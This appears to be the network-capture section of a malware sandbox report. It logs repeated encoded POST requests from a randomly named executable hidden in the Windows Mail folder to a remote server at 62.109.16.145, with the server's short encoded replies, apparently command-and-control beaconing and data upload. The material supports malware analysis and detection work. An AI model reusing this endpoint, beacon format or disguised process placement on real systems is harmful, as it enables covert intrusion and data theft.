Jan 9, 2025 04:14:02.650883913 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:02.997478008 CET	1764	OUT	Data Raw: 5a 5b 59 58 5f 5b 58 58 55 56 55 5a 56 5c 55 50 56 52 5a 5f 55 53 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: Z[YX_[XXUVUZV\UPVRZ_USSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&%:+#%^0&+-+70)&%9< & ]='??? \%#Y)4
Jan 9, 2025 04:14:03.356801033 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:03.492805958 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 5a 36 29 2d 01 2b 21 2f 1d 3c 5a 3c 0e 3c 57 2c 12 3c 20 22 07 3d 3a 39 05 2a 3e 23 54 28 3b 2e 5d 24 1c 2a 1d 34 3e 08 5a 35 1a 2e 59 0c 1d 39 17 3d 38 31 0b 31 33 28 04 3e 0d 3e 12 36 32 3b 16 26 2e 21 0a 24 2b 38 56 3f 0c 33 0e 3d 31 23 51 3a 38 03 42 24 33 22 56 32 3e 21 5e 02 14 20 02 3e 13 20 0d 29 27 2f 15 26 0b 3d 0d 23 04 32 57 36 38 3c 09 35 16 22 18 2a 1f 2a 5c 34 1f 01 07 24 30 3a 1b 20 32 25 1d 3e 19 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #Z6)-+!/<Z<<W,< "=:9>#T(;.]$4>Z5.Y9=8113(>>62;&.!$+8V?3=1#Q:8B$3"V2>!^ > )'/&=#2W68<5"**\4$0: 2%>/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50144	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:02.894021988 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1044 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:03.248173952 CET	1044	OUT	Data Raw: 5f 51 59 5c 5f 5a 58 5d 55 56 55 5a 56 58 55 55 56 5d 5a 5f 55 5d 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QY\_ZX]UVUZVXUUV]Z_U]S_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&_%:/X49\0T%+=+76 >8=19?331$]>',Z(/ \%#Y)
Jan 9, 2025 04:14:03.583853006 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:03.713679075 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50145	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:03.845999956 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:14:04.200674057 CET	1048	OUT	Data Raw: 5a 50 59 5a 5f 58 58 51 55 56 55 5a 56 59 55 57 56 55 5a 52 55 53 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZPYZ_XXQUVUZVYUWVUZRUSSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&_$9 ;9'!).Z4=;-]'*:(_%;?'0^< \%#Y)
Jan 9, 2025 04:14:04.539165020 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:04.670263052 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50146	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:04.818869114 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:05.172178030 CET	1048	OUT	Data Raw: 5f 56 5c 5d 5f 5b 5d 5a 55 56 55 5a 56 50 55 57 56 56 5a 5d 55 52 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _V\]_[]ZUVUZVPUWVVZ]URSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0)#;1$T!(.776#)%%(3X&$^>4$*/ \%#Y)
Jan 9, 2025 04:14:05.518003941 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:05.649864912 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50147	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:05.781091928 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:06.138154984 CET	1048	OUT	Data Raw: 5a 52 59 5a 5f 5f 5d 59 55 56 55 5a 56 50 55 53 56 52 5a 5f 55 55 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZRYZ__]YUVUZVPUSVRZ_UUSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&\$37!Z'"Z+.7%#*]=22(U;Y23='< \%#Y)
Jan 9, 2025 04:14:06.491861105 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:06.627377033 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50148	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:06.758760929 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:07.108185053 CET	1048	OUT	Data Raw: 5a 5a 59 5b 5a 58 58 59 55 56 55 5a 56 5e 55 5c 56 54 5a 58 55 54 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZZY[ZXXYUVUZV^U\VTZXUTS\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%39/Z#)\$"(.+76<((![%>*3[1])7,_< \%#Y)<
Jan 9, 2025 04:14:07.464644909 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:07.599256992 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50149	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:07.720427990 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:08.075716019 CET	1048	OUT	Data Raw: 5a 55 5c 5b 5f 5a 58 51 55 56 55 5a 56 5e 55 5d 56 56 5a 5a 55 54 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZU\[_ZXQUVUZV^U]VVZZUTS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&Z$:?]"8:02[(#] 5'>1:<U<&?'*/+ \%#Y)<
Jan 9, 2025 04:14:08.409673929 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50150	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:08.503874063 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:08.860189915 CET	1764	OUT	Data Raw: 5f 52 5c 5d 5f 5f 58 5d 55 56 55 5a 56 59 55 55 56 56 5a 5b 55 55 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _R\]__X]UVUZVYUUVVZ[UUSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&37X#:0T.Z?'["% =+"%!R+0$%?)78Y+ \%#Y)
Jan 9, 2025 04:14:09.178623915 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:09.305301905 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 20 05 21 3a 3e 58 3f 54 37 5e 3f 02 27 1e 2b 57 27 03 28 20 29 5c 28 2a 32 5b 3e 2d 0d 1c 3f 05 31 05 27 0c 08 13 37 3d 3a 1e 36 20 2e 59 0c 1d 39 5d 2a 28 3e 53 31 33 3c 02 3e 0a 31 01 35 31 2f 5c 24 10 31 0c 24 28 33 0c 3e 31 3f 0e 2b 31 0a 0f 2e 2b 3d 40 27 1d 00 53 25 3e 21 5e 02 14 20 00 28 2e 37 53 28 37 24 07 27 21 3e 52 20 2d 29 0e 22 28 28 08 36 28 2e 18 2b 32 25 01 20 31 34 58 33 0d 2a 1c 34 32 39 12 29 23 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: !:>X?T7^?'+W'( )\(2[>-?1'7=:6 .Y9](>S13<>151/\$1$(3>1?+1.+=@'S%>!^ (.7S(7$'!>R -)"((6(.+2% 14X3*429)#/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50151	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:08.632461071 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:08.984200001 CET	1048	OUT	Data Raw: 5a 5b 59 5a 5a 5b 58 5f 55 56 55 5a 56 5b 55 53 56 52 5a 52 55 52 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: Z[YZZ[X_UVUZV[USVRZRURS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&\'7]#+2312+X7\4Z>Z2:!P+2?$]=*? \%#Y)(
Jan 9, 2025 04:14:09.330590010 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:09.465377092 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50152	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:09.597815037 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:14:09.950640917 CET	1048	OUT	Data Raw: 5a 54 5c 5c 5f 54 58 5c 55 56 55 5a 56 5d 55 52 56 54 5a 53 55 52 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZT\\_TX\UVUZV]URVTZSURSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3Y 8>'T.+#76'Z*%\%)=? $1+?'$^(/ \%#Y)0
Jan 9, 2025 04:14:10.310956001 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:10.441561937 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50153	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:10.561285973 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:10.919581890 CET	1048	OUT	Data Raw: 5a 55 59 5f 5a 59 58 5e 55 56 55 5a 56 51 55 50 56 5c 5a 59 55 56 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZUY_ZYX^UVUZVQUPV\ZYUVS\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&Z0)/Z781\$&\+ ?]=;Z1:2+0'Y%/,>4#( \%#Y)
Jan 9, 2025 04:14:11.270622969 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:11.401650906 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50154	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:11.534545898 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:11.888390064 CET	1048	OUT	Data Raw: 5a 57 59 5f 5f 5f 5d 5d 55 56 55 5a 56 5d 55 5d 56 50 5a 53 55 51 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZWY___]]UVUZV]U]VPZSUQSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%'<4.0-(= "%0(;52:( #[2\',Z/ \%#Y)0
Jan 9, 2025 04:14:12.243576050 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:12.377501011 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50155	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:12.503731966 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:12.858433008 CET	1048	OUT	Data Raw: 5a 51 59 5c 5f 5a 5d 5e 55 56 55 5a 56 5f 55 53 56 55 5a 52 55 57 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQY\_Z]^UVUZV_USVUZRUWS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&]')']";:02(.?7;)>&&(3;Y%?>7 _(/ \%#Y)
Jan 9, 2025 04:14:13.192733049 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:13.323631048 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50156	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:13.454340935 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
